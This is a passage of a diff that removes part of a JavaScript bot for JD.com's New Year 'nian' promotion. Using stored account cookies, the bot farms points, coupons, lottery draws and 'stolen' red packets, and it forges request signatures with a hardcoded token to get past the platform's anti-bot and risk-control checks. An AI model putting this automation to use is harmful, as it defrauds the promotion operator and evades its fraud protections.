item.brandMemberVos) { - if (task.status === 1) { - await collectScore(item.taskId, task.itemId); - } - await $.wait(3000) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } - } -} - -function getFeedDetail(body = {}) { - return new Promise(resolve => { - $.post(taskPostUrl("nian_getFeedDetail", body, "nian_getFeedDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - if (data.data.result.addProductVos) { - for (let vo of data.data.result.addProductVos) { - if (vo['status'] === 1) { - for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { - let bo = vo.productInfoVos[i] - await collectScore(vo['taskId'], bo['itemId']) - await $.wait(2000) - } - } - } - } - if (data.data.result.taskVos) { - for (let vo of data.data.result.taskVos) { - if (vo['status'] === 1) { - for (let i = 0; i < vo.productInfoVos.length && i + vo['times'] < vo['maxTimes']; ++i) { - let bo = vo.productInfoVos[i] - await collectScore(vo['taskId'], bo['itemId']) - await $.wait(2000) - } - } - } - } - // $.userInfo = data.data.result.userInfo; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getHomeData(info = false) { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getHomeData', {}, 'nian_getHomeData'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - $.userInfo = data.data.result.homeMainInfo - $.secretp = $.userInfo.secretp; - if (!$.secretp) { - console.log(`账号被风控`) - message += `账号被风控,无法参与活动\n` - $.secretp = null - return - } - if ($.userInfo.raiseInfo.fullFlag) { - console.log(`当前等级已满,不再做日常任务!\n`) - $.full = true - return - } - console.log(`\n\n当前等级:${$.userInfo.raiseInfo.scoreLevel}\n当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨\n\n`) - - if (info) { - message += `当前爆竹${$.userInfo.raiseInfo.remainScore}🧨\n` - return - } - if ($.userInfo.raiseInfo.produceScore > 0) { - console.log(`可收取的爆竹大于0,去收取爆竹`) - await collectProduceScore() - } - if (parseInt($.userInfo.raiseInfo.remainScore) >= parseInt($.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore)) { - console.log(`当前爆竹🧨大于升级所需爆竹🧨,去升级`) - await $.wait(2000) - await raise() - } - } else { - $.secretp = null - console.log(`账号被风控,无法参与活动`) - message += `账号被风控,无法参与活动\n` - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function collectProduceScore(taskId = "collectProducedCoin") { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - const body = encode(temp, $.secretp, extraData); - return new Promise(resolve => { - $.post(taskPostUrl("nian_collectProduceScore", body, "nian_collectProduceScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`收取成功,获得${data.data.result.produceScore}爆竹🧨`) - // $.userInfo = data.data.result.userInfo; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function collectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - if (itemId) temp['itemId'] = itemId - if (actionType) temp['actionType'] = actionType - if (inviteId) temp['inviteId'] = inviteId - if (shopSign) temp['shopSign'] = shopSign - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - taskId: taskId, - itemId: itemId - } - if (actionType) body['actionType'] = actionType - if (inviteId) body['inviteId'] = inviteId - if (shopSign) body['shopSign'] = shopSign - return new Promise(resolve => { - $.post(taskPostUrl("nian_collectScore", body, "nian_collectScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if (data.data.result.score) - console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) - else if (data.data.result.maxAssistTimes) { - console.log(`助力好友成功`) - } else { - console.log(`任务上报成功`) - await $.wait(10 * 1000) - if (data.data.result.taskToken) { - await doTask2(data.data.result.taskToken) - } - } - // $.userInfo = data.data.result.userInfo; - } else { - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkCollectScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - if (itemId) temp['itemId'] = itemId - if (actionType) temp['actionType'] = actionType - if (inviteId) temp['inviteId'] = inviteId - if (shopSign) temp['shopSign'] = shopSign - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - taskId: taskId, - itemId: itemId - } - if (actionType) body['actionType'] = actionType - if (inviteId) body['inviteId'] = inviteId - if (shopSign) body['shopSign'] = shopSign - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_collectScore", body, "nian_pk_collectScore"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if (data.data.result.score) - console.log(`任务完成,获得${data.data.result.score}积分`) - else if (data.data.result.maxAssistTimes) { - console.log(`助力好友成功`) - } else { - console.log(`任务上报成功`) - await $.wait(10 * 1000) - if (data.data.result.taskToken) { - await doTask2(data.data.result.taskToken) - } - } - // $.userInfo = data.data.result.userInfo; - } else { - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doTask2(taskToken) { - let body = { - "dataSource": "newshortAward", - "method": "getTaskAward", - "reqParams": `{\"taskToken\":\"${taskToken}\"}` - } - return new Promise(resolve => { - $.post(taskPostUrl("qryViewkitCallbackResult", body,), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - // console.log(data) - if (data.code === "0") { - console.log(data.toast.subTitle + '🧨') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function raise(taskId = "nian_raise") { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - const body = encode(temp, $.secretp, extraData); - return new Promise(resolve => { - $.post(taskPostUrl("nian_raise", body, "nian_raise"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`升级成功`) - // $.userInfo = data.data.result.userInfo; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getTaskList(body = {}) { - return new Promise(resolve => { - $.post(taskPostUrl("nian_getTaskDetail", body, "nian_getTaskDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - if (JSON.stringify(body) === "{}") { - $.taskVos = data.data.result.taskVos;//任务列表 - console.log(`\n\n您的好友助力码为${data.data.result.inviteId}\n\n`) - } - // $.userInfo = data.data.result.userInfo; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getFriendData(inviteId) { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getHomeData', {"inviteId": inviteId}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.data && data.data['bizCode'] === 0) { - $.itemId = data.data.result.homeMainInfo.guestInfo.itemId - await collectScore('2', $.itemId, null, inviteId) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function map() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_myMap", {}, "nian_myMap"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - let msg = '当前已开启的地图:' - for (let vo of data.data.result.monsterInfoList) { - if (vo.curLevel) msg += vo.name + ' ' - } - console.log(msg) - // $.userInfo = data.data.result.userInfo; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function queryMaterials() { - let body = { - "qryParam": "[{\"type\":\"advertGroup\",\"mapTo\":\"viewLogo\",\"id\":\"05149412\"},{\"type\":\"advertGroup\",\"mapTo\":\"bottomLogo\",\"id\":\"05149413\"}]", - "activityId": "2cKMj86srRdhgWcKonfExzK4ZMBy", - "pageId": "", - "reqSrc": "", - "applyKey": "21beast" - } - return new Promise(resolve => { - $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === '0') { - let shopList = data.data.viewLogo.list.concat(data.data.bottomLogo.list) - let nameList = [] - for (let vo of shopList) { - if (nameList.includes(vo.name)) continue - nameList.push(vo.name) - console.log(`去做${vo.name}店铺任务`) - await shopLotteryInfo(vo.desc) - await $.wait(2000) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function shopLotteryInfo(shopSign) { - let body = {"shopSign": shopSign} - return new Promise(resolve => { - $.post(taskPostUrl("nian_shopLotteryInfo", body, "nian_shopLotteryInfo"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - for (let vo of data.data.result.taskVos) { - if (vo.status === 1) { - if (vo.taskType === 12) { - console.log(`去做${vo.taskName}任务`) - await $.wait(2000) - await collectScore(vo.taskId, vo.simpleRecordInfoVo.itemId, null, null, shopSign) - } else if (vo.taskType === 3 || vo.taskType === 26) { - if (vo.shoppingActivityVos) { - if (vo.status === 1) { - console.log(`准备做此任务:${vo.taskName}`) - for (let task of vo.shoppingActivityVos) { - if (task.status === 1) { - await $.wait(2000) - await collectScore(vo.taskId, task.advId, null, null, shopSign); - } - } - } else if (vo.status === 2) { - console.log(`${vo.taskName}已做完`) - } - } - }else if (vo.taskType === 21) { - if (vo.brandMemberVos) { - if (vo.status === 1) { - console.log(`准备做此任务:${vo.taskName}`) - for (let task of vo.brandMemberVos) { - if (task.status === 1) { - await $.wait(2000) - await collectScore(vo.taskId, task.advertId, null, null, shopSign); - } - } - } else if (vo.status === 2) { - console.log(`${vo.taskName}已做完`) - } - } - } - } - } - for (let i = 0; i < data.data.result.lotteryNum; ++i) { - console.log(`去抽奖:${i + 1}/${data.data.result.lotteryNum}`) - await $.wait(2000) - await doShopLottery(shopSign) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doShopLottery(shopSign) { - let body = {"shopSign": shopSign} - return new Promise(resolve => { - $.post(taskPostUrl("nian_doShopLottery", body, "nian_doShopLottery"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.result) { - let result = data.data.result - if (result.awardType === 4) - console.log(`抽奖成功,获得${result.score}爆竹🧨`) - else if (result.awardType === 2 || result.awardType === 3) - console.log(`抽奖成功,获得优惠卷`) - else if (result.awardType === 5) - console.log(`抽奖成功,品牌卡`) - else - console.log(`抽奖成功,获得${JSON.stringify(result)}`) - } else { - console.log(`抽奖失败`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkInfo() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.group = true - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.bizCode === 0) { - console.log(`\n\n您的好友PK助力码为${data.data.result.groupInfo.groupAssistInviteId}\n注:此pk邀请码每天都变!\n\n`) - let info = data.data.result.groupPkInfo - console.log(`预计分得:${data.data.result.groupInfo.personalAward}红包`) - if (info.dayAward) - console.log(`白天关卡:${info.dayAward}元红包,完成进度 ${info.dayTotalValue}/${info.dayTargetSell}`) - else { - function secondToDate(result) { - var h = Math.floor(result / 3600); - var m = Math.floor((result / 60 % 60)); - var s = Math.floor((result % 60)); - return h + "小时" + m + "分钟" + s + "秒"; - } - - console.log(`守护关卡:${info.guardAward}元红包,剩余守护时间:${secondToDate(info.guardTime / 5)}`) - } - } else { - $.group = false - console.log(`获取组队信息失败,请检查`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkTaskStealDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getStealForms", {}, "nian_pk_getStealForms"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.bizCode === 0) { - $.hasGroup = true - await $.wait(2000) - for (let i = 1; i < data.data.result.stealGroups.length; ++i) { - let item = data.data.result.stealGroups[i] - if (item.stolen === 0) { - console.log(`去偷${item.name}的红包`) - await pkStealGroup(item.id) - await $.wait(2000) - } - } - } else { - console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkTaskDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.data && data.data.bizCode === 0) { - await $.wait(2000) - $.hasGroup = true - for (let item of data.data.result.taskVos) { - if (item.taskType === 3 || item.taskType === 26) { - if (item.shoppingActivityVos) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await pkCollectScore(item.taskId, task.itemId); - } - await $.wait(3000) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } - } - } - } else { - console.log(`组队尚未开启,请先去开启组队或是加入队伍!`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkAssignGroup(inviteId) { - let temp = { - "confirmFlag": 1, - "inviteId": inviteId, - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - inviteId: inviteId - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg) - } else { - console.log(`助力失败,未知错误:${JSON.stringify(data)}`) - $.canhelp = false - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function pkStealGroup(stealId) { - let temp = { - "stealId": stealId, - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - stealId: stealId - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_pk_doSteal", body, "nian_pk_doSteal"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.bizMsg) { - console.log(data.data.bizMsg) - } else { - console.log(`偷取失败,未知错误:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function killCouponList() { - return new Promise(resolve => { - $.post(taskPostUrl("nian_killCouponList", {}, "nian_killCouponList"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.bizCode === 0) { - await $.wait(2000) - for (let vo of data.data.result) { - if (!vo.status) { - console.log(`去领取${vo['productName']}优惠券`) - await killCoupon(vo['skuId']) - await $.wait(2000) - } - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function killCoupon(skuId) { - let temp = { - "skuId": skuId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = encode(temp, $.secretp, extraData); - body['skuId'] = skuId - return new Promise(resolve => { - $.post(taskPostUrl("nian_killCoupon", body, "nian_killCoupon"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data && data.data.bizCode === 0) { - console.log(`领取成功,获得${data.data.result.score}爆竹🧨`) - } else { - console.log(data.data.bizMsg) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getSpecialGiftDetail() { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getSpecialGiftDetail'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - let flag = true - for(let item of data.data.result.taskVos){ - if (item.taskType === 3 || item.taskType === 26) { - if (item.shoppingActivityVos) { - if (item.status === 1) { - flag = false - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await collectSpecialScore(item.taskId, task.itemId); - } - await $.wait(3000) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } - } - else if (item.taskType === 0) { - if (item.status === 1) { - flag = false - console.log(`准备做此任务:${item.taskName}`) - await collectSpecialScore(item.taskId, item.simpleRecordInfoVo.itemId); - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } else{ - if (item.status === 1) { - flag = false - superAssist.push({ - "inviteId": data.data.result.inviteId, - "itemId": item.assistTaskDetailVo.itemId, - "taskId": item.taskId - }) - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } - } - if(flag){ - await getSpecialGiftInfo() - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function getSpecialGiftInfo() { - return new Promise((resolve) => { - $.post(taskPostUrl('nian_getSpecialGiftInfo',"nian_getSpecialGiftInfo"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data && data.data['bizCode'] === 0) { - await collectSpecialFinalScore() - // console.log(`领奖成功,获得${data.data.result.score}爆竹🧨`) - }else{ - console.log(data.data.bizMsg) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function collectSpecialScore(taskId, itemId, actionType = null, inviteId = null, shopSign = null) { - let temp = { - "taskId": taskId, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - if (itemId) temp['itemId'] = itemId - if (actionType) temp['actionType'] = actionType - if (inviteId) temp['inviteId'] = inviteId - if (shopSign) temp['shopSign'] = shopSign - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - taskId: taskId, - itemId: itemId - } - if (actionType) body['actionType'] = actionType - if (inviteId) body['inviteId'] = inviteId - if (shopSign) body['shopSign'] = shopSign - return new Promise(resolve => { - $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if (data.data.result.score) - console.log(`任务完成,获得${data.data.result.score}爆竹🧨`) - else if (data.data.result.maxAssistTimes) { - console.log(`助力好友成功`) - } else { - console.log(`任务上报成功`) - } - // $.userInfo = data.data.result.userInfo; - } else { - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function collectSpecialFinalScore() { - let temp = { - "ic": 1, - "rnd": getRnd(), - "inviteId": "-1", - "stealId": "-1" - } - const extraData = { - "jj": 6, - "buttonid": "jmdd-react-smash_0", - "sceneid": "homePageh5", - "appid": '50073' - } - let body = { - ...encode(temp, $.secretp, extraData), - "ic" : 1, - } - return new Promise(resolve => { - $.post(taskPostUrl("nian_collectSpecialGift", body, "nian_collectSpecialGift"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) - console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) - else - console.log(JSON.stringify(data)) - // $.userInfo = data.data.result.userInfo; - } else { - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function nian_doAdditionalTask() { - let rnd = getRnd(); - let nonstr = randomWord(false,10) - let time = Date.now() - let key = minusByByte(nonstr.slice(0,5),String(time).slice(-5)) - let msg = `random=${rnd}&token=3d1da4a6ef43b859927ccce65c5dc4ca&time=${time}&nonce_str=${nonstr}&key=${key}&is_trust=true` - let sign = bytesToHex(wordsToBytes(getSign(msg))).toUpperCase() - const body = `{"ss":"{\\"extraData\\":{\\"is_trust\\":true,\\"sign\\":\\"${sign}\\",\\"fpb\\":\\"\\",\\"time\\":${time},\\"encrypt\\":\\"1\\",\\"nonstr\\":\\"${nonstr}\\",\\"jj\\":\\"\\",\\"token\\":\\"3d1da4a6ef43b859927ccce65c5dc4ca\\",\\"cf_v\\":\\"1.0.2\\",\\"client_version\\":\\"2.2.1\\",\\"call_stack\\":\\"\\",\\"session_c\\":\\"\\",\\"buttonid\\":\\"homePopupHelpButtonId\\",\\"sceneid\\":\\"mainTaskh5\\"},\\"secretp\\":\\"${$.secretp}\\",\\"random\\":\\"${rnd}\\"}","inviteId":"cAxZdTXtIumO4w2cDgSqvQlsxPG5DFN5kS8cW5GjwAHNrEWgnhuGYvcChsg"}` - return new Promise(resolve => { - $.post(taskPostUrl("nian_doAdditionalTask", JSON.parse(body), "nian_doAdditionalTask"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0) { - if (data.data && data.data.bizCode === 0) { - if (data.data.result && data.data.result.collectInfo && data.data.result.collectInfo.score) - console.log(`任务完成,获得${data.data.result.collectInfo.score}爆竹🧨`) - else - console.log(JSON.stringify(data)) - // $.userInfo = data.data.result.userInfo; - } else { - console.log(data.data.bizMsg) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} - -function readShareCodePk() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({ - url: `http://jd.turinglabs.net/api/v2/jd/nian/read/${randomCount}/`, - 'timeout': 10000 - }, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个PK助力码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} - -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} - -function shareCodesFormatPk() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodesPk = []; - if ($.shareCodesPkArr[$.index - 1]) { - $.newShareCodesPk = $.shareCodesPkArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > pkInviteCodes.length ? (pkInviteCodes.length - 1) : ($.index - 1); - $.newShareCodesPk = pkInviteCodes[tempIndex].split('@'); - } - let readShareCodeRes = null - if (new Date().getUTCHours() >= 12) - readShareCodeRes = await readShareCodePk(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodesPk = [...new Set([...$.newShareCodesPk, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的PK好友${JSON.stringify($.newShareCodesPk)}`) - resolve(); - }) -} - -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - let shareCodes = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDNIAN_SHARECODES) { - if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { - shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); - } else { - shareCodes = process.env.JDNIAN_SHARECODES.split('&'); - } - } - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - let shareCodesPK = [] - console.log(`共${cookiesArr.length}个京东账号\n`); - if ($.isNode() && process.env.JDNIANPK_SHARECODES) { - if (process.env.JDNIANPK_SHARECODES.indexOf('\n') > -1) { - shareCodesPK = process.env.JDNIANPK_SHARECODES.split('\n'); - } else { - shareCodesPK = process.env.JDNIANPK_SHARECODES.split('&'); - } - } - $.shareCodesPkArr = []; - if ($.isNode()) { - Object.keys(shareCodesPK).forEach((item) => { - if (shareCodesPK[item]) { - $.shareCodesPkArr.push(shareCodesPK[item]) - } - }) - } - console.log(`您提供了${$.shareCodesPkArr.length}个账号的${$.name}PK助力码\n`); - resolve() - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: 